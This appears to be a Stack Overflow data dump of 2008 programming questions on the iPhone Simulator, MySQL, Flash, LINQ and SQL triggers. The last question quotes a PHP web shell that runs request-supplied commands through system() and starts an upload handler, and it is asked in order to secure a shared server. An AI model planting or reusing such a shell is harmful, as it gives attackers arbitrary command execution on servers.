214,416 | <p>How can I set the location (as it's picked up in CoreLocation services) in the iPhone Simulator? </p>
| [
{
"answer_id": 214455,
"author": "Ben Gottlieb",
"author_id": 6694,
"author_profile": "https://Stackoverflow.com/users/6694",
"pm_score": 4,
"selected": false,
"text": "#if TARGET_ IPHONE_SIMULATOR"
},
{
"answer_id": 1351576,
"author": "prakash",
"author_id": 123,
"au... | 2008/10/18 | [
"https://Stackoverflow.com/questions/214416",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10631/"
] |
214,419 | <pre><code>$query = "SELECT * FROM `table`";
$results = mysql_query($query, $connection);
</code></pre>
<p>If 'table' has no rows. whats the easiest way to check for this.?</p>
| [
{
"answer_id": 214421,
"author": "Paige Ruten",
"author_id": 813,
"author_profile": "https://Stackoverflow.com/users/813",
"pm_score": 5,
"selected": true,
"text": "$query = \"SELECT COUNT(*) AS total FROM table\";\n$results = mysql_query($query, $connection);\n$values = mysql_fetch_asso... | 2008/10/18 | [
"https://Stackoverflow.com/questions/214419",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
214,424 | <p>Upgraded to Flash 10 today and now many flash videos aren't playing on a lot of sites, including a couple i've created. What's the fix?</p>
<p><strong>edit</strong>
Let me clarify here. this question is intended to find the code change that is needed to allow users of all versions of flash, including the most recen... | [
{
"answer_id": 216722,
"author": "fenomas",
"author_id": 10651,
"author_profile": "https://Stackoverflow.com/users/10651",
"pm_score": 3,
"selected": true,
"text": "(version==9) (version>9) (version>9) version \"10\""
}
] | 2008/10/18 | [
"https://Stackoverflow.com/questions/214424",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23458/"
] |
214,426 | <p>I want to check if a given date is more than a month earlier than today's date using LINQ.</p>
<p>What is the syntax for this?</p>
<p>Thanks in advance.</p>
| [
{
"answer_id": 214442,
"author": "tvanfosson",
"author_id": 12950,
"author_profile": "https://Stackoverflow.com/users/12950",
"pm_score": 6,
"selected": true,
"text": "using (DataContext context = new DataContext()) {\n var query = from t in context.table\n where t.Create... | 2008/10/18 | [
"https://Stackoverflow.com/questions/214426",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8783/"
] |
214,427 | <p>There are two Databases, Database A has a table A with columns of id, group and flag. Database B has a table B with columns of ID and flag. Table B is essentially a subset of table A <code>where the group == 'B'</code>. </p>
<p>They are updated/created in odd ways that are outside my understanding at this time, ... | [
{
"answer_id": 214475,
"author": "tvanfosson",
"author_id": 12950,
"author_profile": "https://Stackoverflow.com/users/12950",
"pm_score": 1,
"selected": false,
"text": "create trigger update_b_trigger\non Table_A\nfor update\nas\nbegin\n update Table_B\n set Table_B.flag = inserted.f... | 2008/10/18 | [
"https://Stackoverflow.com/questions/214427",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2130/"
] |
214,431 | <p>A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script:</p>
<pre><code><?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
<?php
if(isset($_REQUEST['upload'])) {
... | [
{
"answer_id": 214450,
"author": "mauriciopastrana",
"author_id": 547,
"author_profile": "https://Stackoverflow.com/users/547",
"pm_score": 1,
"selected": false,
"text": "ini_set('your_directive')\n"
}
] | 2008/10/18 | [
"https://Stackoverflow.com/questions/214431",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27025/"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.